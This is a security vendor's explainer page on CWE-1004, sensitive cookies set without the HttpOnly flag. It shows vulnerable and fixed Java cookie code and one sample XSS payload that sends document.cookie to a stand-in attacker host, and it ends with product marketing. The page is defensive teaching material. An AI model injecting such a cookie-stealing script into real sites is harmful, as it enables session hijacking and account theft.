Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
CWE-1004 Variant Incomplete
Sensitive Cookie Without 'HttpOnly' Flag
This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
Definition
What is CWE-1004?
This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
The 'HttpOnly' flag is a critical security directive sent within the `Set-Cookie` HTTP header. When present, it instructs compatible web browsers to block all client-side scripts (like JavaScript) from reading the cookie's contents. This creates a vital defensive layer, specifically designed to contain the damage from a Cross-Site Scripting (XSS) attack by preventing malicious scripts from stealing cookie data.
Without this flag, any sensitive information stored in the cookie—such as session tokens or authentication details—becomes exposed. If an XSS flaw exists elsewhere in the application, an attacker can execute script to read the cookie and exfiltrate its data, potentially leading to session hijacking or account compromise. Setting the 'HttpOnly' flag is a fundamental and widely supported practice to protect user sessions even when other vulnerabilities are present.
Real-world impact
Real-world CVEs caused by CWE-1004
-
Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.
-
CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.
-
Appliance for managing encrypted communications does not use HttpOnly flag.
How attackers exploit it
Step-by-step attacker path
- 1
In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.
- 2
The snippet of code below establishes a new cookie to hold the sessionID.
- 3
The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:
- 4
When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.
- 5
To mitigate the risk, use the setHttpOnly(true) method.
Vulnerable code example
Vulnerable Java
The snippet of code below establishes a new cookie to hold the sessionID.
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c); Attacker payload
The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">' Secure code example
Secure Java
To mitigate the risk, use the setHttpOnly(true) method.
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c); What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Prevention checklist
How to prevent CWE-1004
- Implementation Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Detection signals
How to detect CWE-1004
CWE-1004
Don't catalog this weakness. Prove it's reachable.
Plexicus turns CWE catalogs into evidence: every CWE-pattern is matched against your real code graph, reach is proven on a sandbox clone, and verified findings ship as reviewed PRs.
Frequently asked questions What is CWE-1004?
How serious is CWE-1004?
What languages or platforms are affected by CWE-1004?
How can I prevent CWE-1004?
How does Plexicus detect and fix CWE-1004?
Where can I learn more about CWE-1004?
Frequently asked questions
What is CWE-1004?
This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
How serious is CWE-1004?
MITRE rates the likelihood of exploit as Medium — exploitation is realistic but typically requires specific conditions.
What languages or platforms are affected by CWE-1004?
MITRE lists the following affected platforms: Web Based.
How can I prevent CWE-1004?
Leverage the HttpOnly flag when setting a sensitive cookie in a response.
How does Plexicus detect and fix CWE-1004?
Plexicus's SAST engine matches the data-flow signature for CWE-1004 on every commit. When a match is found, our Codex Remedium agent opens a fix PR with the corrected code, tests, and a one-line summary for the reviewer.
Where can I learn more about CWE-1004?
MITRE publishes the canonical definition at https://cwe.mitre.org/data/definitions/1004.html. You can also reference OWASP and NIST documentation for adjacent guidance.
Related weaknesses
Weaknesses related to CWE-1004
CWE-732 Parent
Incorrect Permission Assignment for Critical Resource
This vulnerability occurs when a system grants overly permissive access to a sensitive resource, allowing unauthorized users or processes…
CWE-276 Sibling
Incorrect Default Permissions
This vulnerability occurs when software installation scripts set overly permissive file or directory access rights by default. Instead of…
CWE-277 Sibling
Insecure Inherited Permissions
This vulnerability occurs when an application sets default file or directory permissions that are too permissive, and these insecure…
CWE-278 Sibling
Insecure Preserved Inherited Permissions
This vulnerability occurs when a software product copies or extracts files while unintentionally preserving insecure permissions from…
CWE-279 Sibling
Incorrect Execution-Assigned Permissions
This vulnerability occurs when a running application incorrectly changes an object's access permissions, overriding the security settings…
CWE-281 Sibling
Improper Preservation of Permissions
This vulnerability occurs when a system fails to correctly maintain file or object permissions during operations like copying, sharing, or…
CWE-766 Sibling
Critical Data Element Declared Public
This vulnerability occurs when a critical piece of data—like a variable, field, or class member—is mistakenly declared as public when it…
Resources
Further reading
- MITRE — official CWE-1004 https://cwe.mitre.org/data/definitions/1004.html
- HttpOnly https://owasp.org/www-community/HttpOnly
- Some Bad News and Some Good News https://learn.microsoft.com/en-us/previous-versions/ms972826(v=msdn.10)?redirectedfrom=MSDN
- C is for cookie, H is for hacker - understanding HTTP only and Secure cookies https://www.troyhunt.com/c-is-for-cookie-h-is-for-hacker/
- Mitigating Cross-site Scripting With HTTP-only Cookies https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN
Ready to validate what matters?
Ready to validate what matters?
Plexicus is Proof-Driven AppSec: validated findings, contextual understanding, and reviewed remediation — anchored in evidence, scoped with you.